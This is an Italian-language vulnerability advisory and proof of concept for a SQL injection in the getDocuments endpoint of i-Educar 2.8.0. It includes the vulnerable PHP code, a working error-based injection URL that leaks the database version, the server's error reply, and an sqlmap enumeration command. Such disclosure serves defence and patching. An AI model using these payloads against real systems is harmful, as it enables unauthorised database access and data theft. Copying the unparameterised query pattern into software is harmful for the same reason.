CVE-2024-48325

Descrizione: Un utente autenticato può sfruttare una vulnerabilità di SQL injection presente nella funzione getDocuments della classe InstituicaoDocumentacaoController. Il parametro instituicao_id in /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id non viene sanificato correttamente, consentendo a un attaccante remoto autenticato di iniettare comandi SQL dannosi.

Versioni: Scoperta in Portabilis i-Educar 2.8.0.

Prova di concetto

Dettagli della vulnerabilità

Il problema è presente nella funzione getDocuments della classe InstituicaoDocumentacaoController, che può essere attivata tramite il seguente endpoint:

class InstituicaoDocumentacaoController extends ApiCoreController
{
    protected function insertDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $var2 = $this->getRequest()->titulo_documento;
        $var3 = $this->getRequest()->url_documento;
        $var4 = $this->getRequest()->ref_usuario_cad;
        $var5 = $this->getRequest()->ref_cod_escola;
        $sql = "INSERT INTO pmieducar.instituicao_documentacao (instituicao_id, titulo_documento, url_documento, ref_usuario_cad, ref_cod_escola) VALUES ($var1, '$var2', '$var3', $var4, $var5)";
        $this->fetchPreparedQuery($sql);
        $sql = "SELECT MAX(id) FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1";
        $novoId = $this->fetchPreparedQuery($sql);
        return ['id' => $novoId[0][0]];
    }
    
    protected function getDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1 ORDER BY id DESC";
        $instituicao = $this->fetchPreparedQuery($sql);
        $attrs = ['id', 'titulo_documento', 'url_documento', 'ref_usuario_cad', 'ref_cod_escola'];
        $instituicao = Portabilis_Array_Utils::filterSet($instituicao, $attrs);
        return ['documentos' => $instituicao];
    }
}

Come si manifesta la vulnerabilità

Il parametro instituicao_id viene utilizzato direttamente nelle query SQL senza una corretta sanificazione o parametrizzazione. Questo consente agli attaccanti di inviare richieste HTTP dannose per iniettare comandi SQL, ottenendo potenzialmente accesso non autorizzato al database o manipolando i dati.

• Endpoint di esempio che attiva la vulnerabilità: /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14
• Esempio di exploit: /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14+AND+(CAST(VERSION()+AS+INTEGER))%3d1

Risposta del server:

{
    "oper": "get",
    "resource": "getDocuments",
    "msgs": [
        {
            "msg": "Exception: Error preparing query (SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC) in the database: Exception: SQLSTATE[22P02]: Invalid text representation: 7 ERROR: invalid input syntax for type integer: \"PostgreSQL 16.4 on x86_64-pc-linux-musl, compiled by gcc (Alpine 13.2.1_git20240309) 13.2.1 20240309, 64-bit\" (Connection: pgsql, SQL: SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC)",
            "type": "error"
        }
    ],
    "any_error_msg": true
}

Sfruttamento automatizzato

• Questa vulnerabilità può essere sfruttata anche tramite strumenti automatizzati come SQLMap, consentendo l'enumerazione del database: sqlmap -r ../instituicaoDocumentacao.r --dbms postgres --dbs -p instituicao_id --risk 3 --level 5

SQLMap